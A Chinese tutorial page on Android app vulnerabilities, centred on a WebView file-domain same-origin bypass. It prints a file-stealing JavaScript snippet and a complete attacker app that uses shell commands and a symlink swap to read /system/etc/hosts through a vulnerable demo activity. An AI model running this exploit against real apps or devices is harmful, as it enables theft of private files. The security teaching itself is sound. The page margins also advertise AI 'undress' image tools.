首页 运维 安全 WebView File域同源策略绕过漏洞实例分析

WebView File域同源策略绕过漏洞实例分析

May 15, 2023 am 08:22 AM
file webview

基本知识Android架构

  • Kernel内核层 
    漏洞危害极大,通用性强 
    驱动由于多而杂,也可能存在不少漏洞

  • Libaries系统运行库层

    • 系统中间件形式提供的运行库 
      包括libc、WebKit、SQLite等等

    • AndroidRunTime 
      Dalvik虚拟机和内核库

  • FrameWork应用框架层 
    提供一系列的服务和API的接口

    • 活动管理器

    • 内容提供器

    • 视图

    • 资源管理器

    • 通知管理器

  • Application应用层

    • 系统应用 
      主屏幕Home、联系人Contact、电话Phone、浏览器Browser

    • 其他应用 
      开发者使用应用程序框架层的API实现的程序

Andoroid常用组件

  • Acitivity活动

  • Service服务

  • BroadcastRecviver广播接收器

  • ContentProvider内容提供器

Android App常见漏洞     (OWASP Mobile Top 10)平台使用不当

  • 概述 
    平台功能的滥用,或未能使用平台的安全控制。如Intent误用、权限误用等

  • 风险 
    很广泛,可能涉及移动平台各个服务

  • 举例 
    iOS系统中,将密码数据存放在本地文件而没有存放在密钥链中,导致可以从伪加密的备份数据中读取 
    Android系统中,Intent使用不当导致恶意用户劫持修改intent的内容,以原进程的身份权限执行任意动作

  • 不安全的数据存储

  • 不安全的通信

典型漏洞及挖掘方法数据存储漏洞

  • 数据文件或目录

    • 明文存储

    • MODE_PRIVATE

    • 明文存储

    • 创建数据库时没有使用MODE_PRIVATE模式

    • 创建配置文件时没有使用MODE_PRIVATE模式,导致其他程序可以读取配置文件

    • 明文存储,而root用户可读,导致敏感数据泄露

    • SharedPreferences 
      data/data/程序包名/shared_prefs/*.xml

    • SQLiteDatabases 
      data/data程序包名/database/*.db


    • InternalStorage 
      data/data/程序报名/files/*


    • ExternalStorage 
      /mnt/sdcard/*

  • 检测方法

    • 浏览/data/data/包名目录下的各个文件和目录,检查是否存在others用户可读的文件

    • 检查配置文件、数据库等是否存在明文敏感信息

  • 挖掘方法

    • 代码检测 
      检查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函数的mode参数是否为MODE_PRIVATE(0x0000)

数据通信漏洞

  • 使用HTTP等明文协议将敏感信息传送至服务端

    • 通过局域网嗅探、恶意公共WIFI、恶意代理服务、DNS劫持等手段捕获明文通信,产生中间人攻击

  • SSL证书弱校验


    • 搜索.method public checkServerTrusted

    • 定位.method和end method

    • 检查是否存在return-void

    • 同理检查verify(String, SSLSession)的返回值是否恒为True、X509HostnameVerifier的参数是否为ALLOW_ALLHOSTNAME_VERIFIER

    • 开启Fiddler的HTTPS解析功能,生成并导出自签名证书,安装到手机中

    • 开启Fiddler代理,并允许远程主机连接该代理

    • APP中缺乏对SSL证书的校验 
      客户端中应该实现X509TruestManager类,包括checkServerTrusted\checkClientTrusted\getInstance三个方法

    • 证书校验失败会导致异常,然后由应用程序对证书校验异常进行处理

    • 未对服务器证书校验会导致TLS中间人攻击 
      使用HttpsURLConnection时,实现自定义HostnameVerifier过程中未对主机名做验证,则默认不检查证书域名与站点名是否匹配。或者在设置HttpsURLConnection的HostnameVerifier时,将其设为ALLOW_ALL_HOSTNAME_VERIIER则接受所有域名.

    • 攻击方法

    • 挖掘方法

  • SSL证书强校验 
    可能通过Xp、Patch等方法绕过


组件暴露漏洞

  • Android:exported是四大组件中都有的一个属性,用来表示是否支持其他应用调用当前组件

  • 如果有intent-filter,默认值为true;反之默认则为false

  • exported导出组件的权限控制

  • 绕过认证

    • activity暴露后被第三方调用,可能在没有密码的情况下登录/重置密码

  • 敏感信息泄露

    • recviver暴露后被第三方启动,可能查看到调试等信息中包含的敏感信息

  • 越权行为


    • 低权限程序通过调用高权限程序暴露的组件,执行高权限动作

  • 挖掘方法



    • 查看AndroidManifest.xml

    • 通过drozer的attacksurface工具进行安全评估

弱加密漏洞

  • 密码硬编码 
    反编译、root查看等可以取得

  • AES/DES弱加密 
    ECB模式容易受到分析或重放攻击

WebView

主要包括三种漏洞:

  • 任意代码执行

    • 编写遍历对象的网页,如果存在getClass方法则存在远程代码执行漏洞

    • fiddler的before脚本可以让任意webview访问任意网页时进行测试

    • Android4.2以后,通过addJavascriptInterface注解的方法可被网页中的java方法调用。如果未加过滤则可能存在漏洞

    • 挖掘方法:

  • 域控制不严格

    • setAllowFileAccess

    • setAllowFileAccessFromFileURLs

    • setAllowUniversalAccessFromFileURLs(导致远程泄露敏感信息)

    • 通过符号链接攻击可以访问本地文件:无论怎么限制,js都能访问本文件的。而通过延时执行和将当前文件替换成指向指向其他文件的软连接就可以读取到被符号链接所指向的文件

    • WebView如果打开了对JavaScript的支持,同时未对file:///形式的URL做限制,则会导致coookie、私有文件、数据库等敏感信息泄露

  • 密码明文存储 
    当用户选择保存在WebViEW中输入的用户名和密码时,则会被明文保存到app目录下的data.db中 
    具有root权限的攻击者可以读取

漏洞挖掘流程总结

  • 静态分析 
    快速检测,获得分析重点目标

    • 检查AndroidManifest文件

    • 脚本分析Smali代码

  • 动态分析 
    对疑似风险进行验证和危害评估

    • 调试模式分析

    • 尝试操作/漏洞验证

    • drozer

    • 抓包分析数据及接口

  • 逆向分析 
    加密破解以及对逻辑和代码的进一步分析





    • -

  • 自动化辅助系统

    • MobSF 包括前端web界面,

    • Marvin 包括前端web界面,部署麻烦

    • Inspeckage Xposed插件

今天我们就来讲讲WebView 的漏洞

[Java] 纯文本查看 复制代码

?

示例代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。

或者是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1

代码如下代码主要区别在于这次加载的attack_file.html

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

    String mUrl1 = "file:///android_asset/html/attack_file.html";  

    //String mUrl2 = "file:///android_asset/html/test.html";  

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

        webView.getSettings().setAllowFileAccessFromFileURLs(true);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

        webView.loadUrl(mUrl1);  

    }  

    class JSInterface {  

        public String onButtonClick(String text) {  

            final String str = text;  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Log.e("leehong2", "onButtonClick: text = " + str);  

                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();  

                }  

            });  

            return "This text is returned from Java layer.  js text = " + text;  

        }  

        public void onImageClick(String url, int width, int height) {  

            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;  

            Log.i("leehong2", str);  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                }  

            });  

        }  

    }  

}

这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

   我们再来看attack_file.html的代码:‘

  

  

<script>  </p> <p>function stealFile()  </p> <p>{  </p> <p>    var file = "file:///mnt/sdcard/233.txt";  </p> <p>    var xmlHttpReq = new XMLHttpRequest();  </p> <p>    xmlHttpReq.onreadystatechange = function(){  </p> <p>        if(xmlHttpReq.readyState == 4){  </p> <p>            alert(xmlHttpReq.responseText);  </p> <p>        }  </p> <p>    }  </p> <p>xmlHttpReq.open("GET", file);  </p> <p>xmlHttpReq.send(null);  </p> <p>}  </p> <p>stealFile();  </p> <p></script>  

  

 

由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt的值。

如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。

即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也可以跨过这个限制,这个我下一次讲讲.

  首先运行WebViewFileDemo1,然后再运行AttackWebView来袭击WebView。   

    我们首先看WebViewFileDemo1,主要代码如下:

package com.example.webviewfiledemo; [/size][/font][/p]  

import android.app.Activity;  

import android.content.Intent;  

import android.net.Uri;  

import android.os.Bundle;  

import android.util.Log;  

import android.webkit.JsResult;  

import android.webkit.WebChromeClient;  

import android.webkit.WebView;  

import android.widget.Toast;  

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), "jsInterface");  

        webView.getSettings().setAllowFileAccessFromFileURLs(false);  

        //webView.getSettings().setAllowFileAccess(false);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

        Intent i = getIntent();  

        if (i != null) {  

            mUri = i.getData();  

        }  

        if (mUri != null) {  

            url = mUri.toString();  

        }  

        if (url != null) {  

            webView.loadUrl(url);  

        }  

    }  

这个Activity接收来自外部的Intent,提取Intent里面的url并加载。

接着我们来看AttackWebView工程,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的工程。代码如下:

public class MainActivity extends Activity {  

    public final static String HTML =   

            "" +  

            "Wait a few seconds." +   

            "<script>" +  </p> <p>            "var d = document;"+  </p> <p>            "function doitjs(){"+  </p> <p>            "var xhr = new XMLHttpRequest;"+  </p> <p>            "xhr.onload = function(){"+  </p> <p>            "var txt = xhr.responseText;"+  </p> <p>            "d.body.appendChild(d.createTextNode(txt));"+  </p> <p>            "alert(txt);"+"};"+  </p> <p>            "xhr.open('GET',d.URL);"+  </p> <p>            "xhr.send(null);"+  </p> <p>            "}"+  </p> <p>            "setTimeout(doitjs,8000);"+  </p> <p>            "</script>"+  

            "";  

    public static String MY_TMP_DIR;  

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath();  

        doit();  

    }  

    public void doit() {  

        String HTML_PATH = MY_TMP_DIR + "/A0" + ".html";  

        try {  

            cmdexec("mkdir " + MY_TMP_DIR);  

            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);  

            cmdexec("chmod -R 777 " + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP("file://" + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec("rm " + HTML_PATH);  

            cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

    public void invokeVulnAPP(String url) {  

        try {  

            Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url));  

            intent.addCategory(Intent.CATEGORY_LAUNCHER);   

            intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity");  

            startActivity(intent);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

    public void cmdexec(String cmd) {  

        try {  

            String[] tmp = new String[] { "/system/bin/sh", "-c", cmd };  

            Runtime.getRuntime().exec(tmp);  

        } catch (Exception e) {  

            // TODO: handle exception  

        }  

    }  

}

通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。这个Activity提取了Url,Url为/sdcard/payload_odex/A0.html,webView加载了这个html,html内容如下:

public final static String HTML =   

        "" +  

        "Wait a few seconds." +   

        "<script>" +  </p> <p>        "var d = document;"+  </p> <p>        "function doitjs(){"+  </p> <p>        "var xhr = new XMLHttpRequest;"+  </p> <p>        "xhr.onload = function(){"+  </p> <p>        "var txt = xhr.responseText;"+  </p> <p>        "d.body.appendChild(d.createTextNode(txt));"+  </p> <p>        "alert(txt);"+"};"+  </p> <p>        "xhr.open('GET',d.URL);"+  </p> <p>        "xhr.send(null);"+  </p> <p>        "}"+  </p> <p>        "setTimeout(doitjs,8000);"+  </p> <p>        "</script>"+  

        "";

当WebViewFileDemo1工程中webView加载A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebView工程,往下看代码。

cmdexec("mkdir " + MY_TMP_DIR); 

            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);   cmdexec("chmod -R 777 " + MY_TMP_DIR);  

            Thread.sleep(1000);  

            invokeVulnAPP("file://" + HTML_PATH);  

            Thread.sleep(6000);  

            cmdexec("rm " + HTML_PATH);  

            cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);

调用完invokeVulnAPP后,6秒后,我们首先把A0.html删除,然后再重新软连接到/system/etc/hosts。注意此时当WebViewFileDemo1工程中webView加载A0.html,这个html的作用是延迟8秒读取A0.html本身,所以8秒后读取的是软连接/system/etc/hosts 。

以上是WebView File域同源策略绕过漏洞实例分析的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
3 周前 By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解锁Myrise中的所有内容
4 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

鸿蒙原生应用随机诗词 鸿蒙原生应用随机诗词 Feb 19, 2024 pm 01:36 PM

想了解更多关于开源的内容,请访问:51CTO鸿蒙开发者社区https://ost.51cto.com运行环境DAYU200:4.0.10.16SDK:4.0.10.15IDE:4.0.600一、创建应用点击File->newFile->CreateProgect。选择模版:【OpenHarmony】EmptyAbility:填写项目名,shici,应用包名com.nut.shici,应用存储位置XXX(不要有中文,特殊字符,空格)。CompileSDK10,Model:Stage。Device

使用java的File.length()函数获取文件的大小 使用java的File.length()函数获取文件的大小 Jul 24, 2023 am 08:36 AM

使用Java的File.length()函数获取文件的大小文件大小是在处理文件操作时很常见的一个需求,Java提供了一个很方便的方法来获取文件的大小,即使用File类的length()方法。本文将介绍如何使用该方法来获取文件的大小,并给出相应的代码示例。首先,我们需要创建一个File对象来表示我们想要获取大小的文件。以下是创建File对象的方法:Filef

php blob怎么转file php blob怎么转file Mar 16, 2023 am 10:47 AM

php blob转file的方法:1、创建一个php示例文件;2、通过“function blobToFile(blob) {return new File([blob], 'screenshot.png', { type: 'image/jpeg' })}”方法实现Blob转File即可。

使用java的File.renameTo()函数重命名文件 使用java的File.renameTo()函数重命名文件 Jul 25, 2023 pm 03:45 PM

使用Java的File.renameTo()函数重命名文件在Java编程中,我们经常需要对文件进行重命名的操作。Java提供了File类来处理文件操作,其中的renameTo()函数可以方便地重命名文件。本文将介绍如何使用Java的File.renameTo()函数来重命名文件,并提供相应的代码示例。File.renameTo()函数是File类的一个方法,

使用Java 13中的新的JavaFX WebView组件来显示网页内容 使用Java 13中的新的JavaFX WebView组件来显示网页内容 Aug 01, 2023 pm 01:09 PM

使用Java13中的新的JavaFXWebView组件来显示网页内容随着Java的不断发展,JavaFX已经成为构建跨平台图形界面的主要工具之一。JavaFX提供了丰富的图形库和组件,让开发者能够轻松地创建各种各样的用户界面。其中,JavaFXWebView组件是一个非常有用的组件,它允许我们在JavaFX应用程序中显示网页内容。在Java13中,J

使用java的File.getParent()函数获取文件的父路径 使用java的File.getParent()函数获取文件的父路径 Jul 24, 2023 pm 01:40 PM

使用java的File.getParent()函数获取文件的父路径在Java编程中,我们经常需要操作文件和文件夹。有时候,我们需要获取一个文件的父路径,也就是该文件所在文件夹的路径。Java的File类提供了getParent()方法用于获取文件或文件夹的父路径。File类是Java对文件和文件夹的抽象表示,它提供了一系列操作文件和文件夹的方法。其中,get

使用java的File.getParentFile()函数获取文件的父目录 使用java的File.getParentFile()函数获取文件的父目录 Jul 27, 2023 am 11:45 AM

使用java的File.getParentFile()函数获取文件的父目录在Java编程中,我们经常需要操作文件和文件夹。当我们需要获取文件的父目录时,可以使用Java提供的File.getParentFile()函数来完成。本文将介绍如何使用这个函数并提供代码示例。Java中的File类是用于操作文件和文件夹的主要类。它提供了许多方法来获取和操作文件的属性

如何使用Java中的File.delete()方法删除文件或目录? 如何使用Java中的File.delete()方法删除文件或目录? Nov 18, 2023 am 08:02 AM

如何使用Java中的File.delete()方法删除文件或目录?概述:在Java中,我们可以使用File类的delete()方法来删除文件或目录。该方法用于删除指定的文件或目录。但是需要注意的是,该方法只能删除空目录或者没有被其他程序打开的文件。如果文件或目录删除失败,可以通过捕获IOException异常来查找具体原因。步骤一:导入相关的包首先,我们需要

See all articles